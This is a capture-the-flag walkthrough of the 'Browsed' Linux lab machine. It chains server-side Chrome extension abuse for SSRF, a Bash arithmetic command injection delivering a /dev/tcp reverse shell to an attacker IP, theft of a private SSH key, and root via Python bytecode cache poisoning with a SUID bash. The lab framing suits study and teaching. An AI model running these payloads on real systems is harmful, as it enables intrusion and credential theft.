< BACK TO HUB
MEDIUM DIFFICULTY

BROWSED

TARGET OS: LINUX | AUTHOR: LEANDROS

Browsed is an incredibly unique, Medium-rated Linux machine that emulates a modern web application testing environment. The intrusion path relies on exploiting a web application that processes user-uploaded Google Chrome extensions server-side. By crafting a malicious extension to beacon internal networks (SSRF), I uncovered an internal Gitea instance revealing source code. This led to a subtle arithmetic Command Injection in an internal Python service for my foothold. Finally, I escalated to root by executing a complex Python Bytecode (.pyc) cache poisoning attack. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with my standard Nmap TCP port scan to map the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)

The scan revealed SSH and an Nginx web server. The website prominently referenced the domain browsed.htb, which I immediately added to my /etc/hosts file.

Exploring the web application, I found a feature called "Upload Extension". The site accepts .zip files and claims to execute them. By downloading one of their example extensions, I confirmed the backend expects standard Chrome Extension structures (manifest.json, content.js, etc.). This meant the server was actively spinning up a headless browser to process my uploads.

PHASE 2: EXTENSION ABUSE (SERVER-SIDE EXECUTION)

[!] VULNERABILITY DETECTED: SERVER-SIDE BROWSER EXECUTION

If a server executes an uploaded browser extension, we can write JavaScript that instructs the server's internal browser to make HTTP requests. Because the browser is running inside the target network, we can use it to hit internal IP addresses (like `localhost`) and bypass external firewalls—essentially achieving Server-Side Request Forgery (SSRF).

To confirm this, I wrote a simple Python HTTP server on my attacking machine to act as a listener. Then, I crafted a custom Chrome extension designed to send "beacons" (HTTP requests) back to my server using fetch(), gathering data about the internal environment.

PAYLOAD - BEACON.JS
const YOUR_SERVER = "http://<IP_ATTACKER>:8000";
const timestamp = new Date().getTime();

fetch(`${YOUR_SERVER}/ping?time=${timestamp}&url=${encodeURIComponent(window.location.href)}`);

I zipped the manifest.json and beacon.js, uploaded it to the site, and watched my Python server logs. The internal browser hit my server multiple times! Crucially, the logs revealed the browser was navigating to internal domains like http://browsedinternals.htb/ and http://localhost/.

I added browsedinternals.htb to my /etc/hosts file. Visiting it revealed an internal Gitea instance hosting the source code for the backend routines.

PHASE 3: ARITHMETIC COMMAND INJECTION

Inside the Gitea repository, I analyzed the code responsible for backend operations. I found a Flask application (app.py) running locally on port 5000, which calls a bash script (routines.sh).

SOURCE CODE - APP.PY & ROUTINES.SH
# app.py
@app.route('/routines/<rid>')
def routines(rid):
    subprocess.run(["./routines.sh", rid])  # Executes the bash script
    return "Routine executed !"

# routines.sh
if [[ "$1" -eq 0 ]]; then
    echo "Executing routine 0..."
fi

[!] VULNERABILITY DETECTED: ARITHMETIC COMMAND INJECTION

At first glance, Python's subprocess.run without shell=True seems secure against command injection. However, the vulnerability is in the Bash script itself!

The [[ "$1" -eq 0 ]] syntax in Bash performs arithmetic evaluation. If we supply an array reference containing a command substitution, like a[$(cmd)], Bash will execute the command inside the subshell before evaluating the arithmetic expression!

Since the vulnerable Flask app was only listening on localhost:5000, I couldn't hit it directly. I had to use my malicious Chrome Extension to deliver the payload. I updated my extension's JavaScript to send an HTTP GET request to the local Flask server, injecting a reverse shell payload using the arithmetic evaluation trick.

PAYLOAD - ATTACK.JS (EXTENSION RCE)
setTimeout(() => {
    const YOUR_IP = "<IP_ATTACKER>";
    const YOUR_PORT = "<PORT>";
    
    // Injecting into the bash arithmetic context: a[$( reverse_shell )]
    const payload = `a[$(bash -c 'bash -i >& /dev/tcp/${YOUR_IP}/${YOUR_PORT} 0>&1')]`;
    const encoded = encodeURIComponent(payload);
    
    fetch(`http://localhost:5000/routines/${encoded}`, { mode: 'no-cors' });
}, 2000);

I zipped the new extension, set up a Netcat listener, and uploaded the zip. Two seconds later, the server's internal browser executed the fetch request, hitting the vulnerable bash script on localhost, and spawning a reverse shell as the user larry!

PHASE 4: LATERAL MOVEMENT

Working with a reverse shell from a web app can be unstable, so I immediately checked Larry's home directory for SSH keys.

TERMINAL - ENUMERATION
cat ~/.ssh/id_ed25519

I successfully exfiltrated Larry's private ED25519 SSH key. Saving it to my attacker machine and applying chmod 600, I logged directly into the machine via SSH, securing a highly stable session and claiming the user.txt flag.

PHASE 5: PRIVILEGE ESCALATION (.PYC POISONING)

Running sudo -l revealed that Larry could execute a packaging script as root without a password: /opt/extensiontool/extension_tool.py.

Inspecting the script, I noticed it imports functions from a local module: from extension_utils import validate_manifest. I checked the permissions of the /opt/extensiontool/ directory.

TERMINAL - DIRECTORY ENUMERATION
drwxr-xr-x 4 root root 4096 Jan 13 10:15 .
-rwxr-xr-x 1 root root 1245 Jan 13 10:15 extension_utils.py
drwxrwxrwx 2 root root 4096 Jan 13 10:20 __pycache__

[!] EXPLOIT STRATEGY: PYTHON BYTECODE (.PYC) CACHE POISONING

When Python imports a module (like extension_utils.py), it compiles it into bytecode and saves it as a .pyc file inside the __pycache__ directory. The next time the module is imported, Python runs the cached .pyc file to save time.

Python validates the cache by checking if the file size and the timestamp encoded inside the .pyc header match the original .py file. Since the __pycache__ directory here is world-writable (chmod 777), we can compile our own malicious version of extension_utils.py, pad its file size to match the original exactly, spoof the timestamp, and overwrite the cached .pyc file. When the root script runs, it will load our malicious bytecode!

First, I gathered the exact file size and modification timestamp of the original extension_utils.py file.

TERMINAL - GATHERING METADATA
stat -c "%s %Y" /opt/extensiontool/extension_utils.py

Assuming the size was 1245 bytes and the timestamp was 1742727379, I created a compact, malicious version of the module. I replaced the validate_manifest function with a payload that copies /bin/bash to /tmp and sets the SUID bit.

I wrote a Python script on the victim machine to automatically append dummy comment padding to my malicious file until its size matched exactly 1245 bytes.

PAYLOAD - EXACT PADDING SCRIPT
cat > /tmp/pad_payload.py << 'EOF'
with open('/tmp/compact_malicious.py', 'r') as f: content = f.read()
target_size = 1245
padding_needed = target_size - len(content.encode('utf-8'))

# Append # characters until we hit the exact byte size
if padding_needed > 0:
    content += '\n#' + 'p' * (padding_needed - 3)

with open('/tmp/extension_utils_exact.py', 'w') as f: f.write(content)
EOF
python3 /tmp/pad_payload.py

Next, I applied the original timestamp to my maliciously padded file using touch -d @1742727379, and compiled it into a .pyc file using Python's py_compile module. Finally, I overwrote the legitimate `.pyc` file inside the world-writable __pycache__ directory.

TERMINAL - CACHE OVERWRITE
python3 -m py_compile /tmp/extension_utils_exact.py
cp /tmp/__pycache__/extension_utils_exact.cpython-312.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
touch -d @1742727379 /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

With the trap set, I executed the vulnerable binary as root using sudo. The script unknowingly loaded my poisoned bytecode, executed my SUID payload, and crashed gracefully.

TERMINAL - ROOT ESCALATION
sudo /opt/extensiontool/extension_tool.py --ext Fontify
/tmp/compact_root -p
OUTPUT
compact_root-5.2# whoami
root

The SUID bash binary executed perfectly, dropping me into a root shell. I claimed the root.txt flag. System Compromised.